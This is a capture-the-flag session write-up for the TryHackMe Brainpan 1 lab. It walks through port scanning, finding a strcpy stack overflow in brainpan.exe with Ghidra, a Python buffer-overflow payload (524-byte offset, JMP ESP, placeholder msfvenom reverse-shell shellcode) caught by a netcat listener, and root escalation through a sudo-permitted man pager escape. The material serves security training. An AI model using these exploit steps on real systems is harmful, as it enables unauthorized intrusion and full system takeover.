TryHackMe: Brainpan 1 — Session Notes
Date: 2026-08-11 Status: COMPLETED — user (puck) + root shells captured Category: Linux-hosted buffer overflow, Windows executable reverse engineering, GTFOBins-style privesc
Phase 1 — Recon
nmap -p- -Pn -T4 --min-rate=2000 10.64.138.191
Full-range scan needed --min-rate=2000 to complete in reasonable time — default/T4-only timing crawled toward hours-long ETC estimates on this box.
Results:
9999/tcp — custom text-based service, password-prompt banner ("WELCOME TO BRAINPAN / ENTER THE PASSWORD")
10000/tcp — HTTP web server (
SimpleHTTP/0.6 Python/2.7.3), serving a static infographic page
Core lesson: if a full-port scan's ETC balloons into hours, don't just wait — --min-rate forces a floor on packet rate regardless of nmap's adaptive timing, and can turn an hours-long scan into a minute-long one on a lab target.
Phase 2 — Web enumeration
curl 10.64.138.191:10000 # homepage — static infographic, no hidden data in HTML
gobuster dir -u http://10.64.138.191:10000 -w /usr/share/wordlists/dirb/common.txt
Gobuster found a real hidden directory:
/bin (Status: 301) [Size: 0] [--> /bin/]
Browsing /bin/ revealed a directory listing containing brainpan.exe — pulled with wget.
Core lesson: always directory-bruteforce a web server even if the homepage looks like a dead end (a single static image, in this case) — hidden directories are a common and simple way rooms hide the real target.
Phase 3 — Static analysis of brainpan.exe (Ghidra)
strings brainpan.exe > strings_output.txt
grep -i "pass\|access\|denied\|granted\|welcome" strings_output.txt
Found "ACCESS DENIED" / "ACCESS GRANTED" — confirmed a real password-check exists in the binary, but no plaintext password nearby (comparison logic, not a hardcoded string dump).
Loaded brainpan.exe into Ghidra (run directly on Kali this time — no Windows/Wine transfer needed for static-only analysis) and found the function get_reply:
void __cdecl get_reply(char *param_1)
{
char local_20c [520];
printf("[get_reply] s = [%s]\n");
strcpy(local_20c, param_1); // <-- unbounded copy, no length check
strlen(local_20c);
printf("[get_reply] copied %d bytes to buffer\n");
strcmp(local_20c, "shitstorm");
return;
}
520-byte buffer (local_20c), filled via unbounded strcpy — same vulnerability class as Gatekeeper's gatekeeper.exe, just discovered in a fraction of the time now that Ghidra was actually working.
Core lesson: debug/format strings left in a binary ("[get_reply] copied %d bytes to buffer\n") are a strong signal pointing straight at the vulnerable function — the developer's own printf debugging often hands you the answer.
Phase 4 — Empirical crash confirmation (own fuzzer, reused from Gatekeeper)
Reused yesterday's binary-search fuzzer against port 9999 with no modification beyond the target port:
[!] Exact crash threshold identified: 551 bytes.
Independent corroboration: Ghidra's static 520-byte buffer size and the fuzzer's empirical 551-byte crash threshold both point to the same region (small gap = expected saved-register/alignment overhead), same cross-check pattern as Gatekeeper's 148 vs. 146.
Phase 5 — Offset derivation (self-calculated, no pattern tool needed)
Rather than generating a cyclic pattern, the exact offset was derived directly from Ghidra's stack layout:
<RETURN> Stack[0x0]
local_20c Stack[-0x20c]
0x20c (hex) = 524 (decimal) — the distance from the start of the vulnerable buffer to the return address itself.
Key reasoning point: Ghidra's stack-frame view is relative to the return address, not to EBP — unlike a live debugger's raw offset (which typically needs +4 bytes added for the saved frame pointer). Recognizing this distinction meant the offset didn't need empirical pattern-matching at all; it came straight out of the static analysis.
Phase 6 — Gadget verification (research first, then independently confirmed)
A JMP ESP address (0x311712F3) was found via research rather than a self-run objdump/ROPgadget search. Built into a working exploit before verifying it — the exploit worked (real shell obtained), but this repeated a gap flagged the day before on Gatekeeper (trusting an address without checking it against the actual binary).
Verification, done afterward in Ghidra:
Navigation → Go To → 311712F3
Result:
_winkwink
311712f0: PUSH EBP
311712f1: MOV EBP,ESP
311712f3: ff e4 JMP ESP <-- confirmed real
Address was accurate — a genuine JMP ESP (opcode ff e4) sitting inside a function literally named _winkwink.
Core lesson (the important one): research can point at a candidate; static verification has to confirm it before it goes into a live payload. The exploit working doesn't retroactively prove the process was right — it can also mean a fragile, no-ASLR binary tolerated an unverified address. Verify first, script second, every time — this time verification just happened after the fact instead of before.
Phase 7 — Exploit delivery
offset = 524
padding = b"A" * offset
eip = struct.pack("<I", 0x311712F3) # JMP ESP, verified
nop_sled = b"\x90" * 32
shellcode = b"..." # msfvenom Linux reverse shell, 95 bytes
payload = padding + eip + nop_sled + shellcode
Sent over a raw TCP socket to port 9999 with a netcat listener running (nc -nvlp 4444) — connection landed, shell confirmed live:
whoami
puck
Phase 8 — Privilege escalation (GTFOBins-style pager escape)
sudo -l
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util manual man
Invoked man (running as root via the sudo rule) as a pager, then escaped it:
!/bin/bash
Result: root@brainpan:/usr/share/man# — confirmed root shell.
Core lesson: sudo -l is always worth checking immediately after landing any shell — a NOPASSWD entry for an unfamiliar custom binary is exactly the kind of misconfiguration GTFOBins-style techniques exploit. A pager (man, less, more) running with elevated privileges is a classic escape vector via !<shell command>.
Summary — skills exercised
Full-range nmap tuning (
--min-rate) for a slow/large port sweepWeb directory bruteforcing to find a hidden binary
Static disassembly (Ghidra) to find a vulnerable function via debug-string tracing
Reused, unmodified fuzzer tooling from a prior room — direct evidence of skill transfer
Self-derived offset math from a decompiler's stack-frame view (distinguishing return-address-relative vs. EBP-relative addressing)
Gadget verification discipline — imperfect this time (verified after building the exploit rather than before), but the instinct to go back and check held, closing the loop with real evidence
GTFOBins-style privilege escalation via a misconfigured NOPASSWD sudo rule and a pager shell-escape
Notable growth moment
Same core discipline theme as Gatekeeper, one day later: a researched (not self-verified) gadget address was used to build a working exploit. When asked directly to verify it against the real binary, the address checked out — genuine, no false positive this time. The process gap (verify-after instead of verify-before) was named explicitly afterward, with a clear, specific rule drawn for next time: confirm a researched finding in Ghidra before it goes into a script that touches a live target, not after.
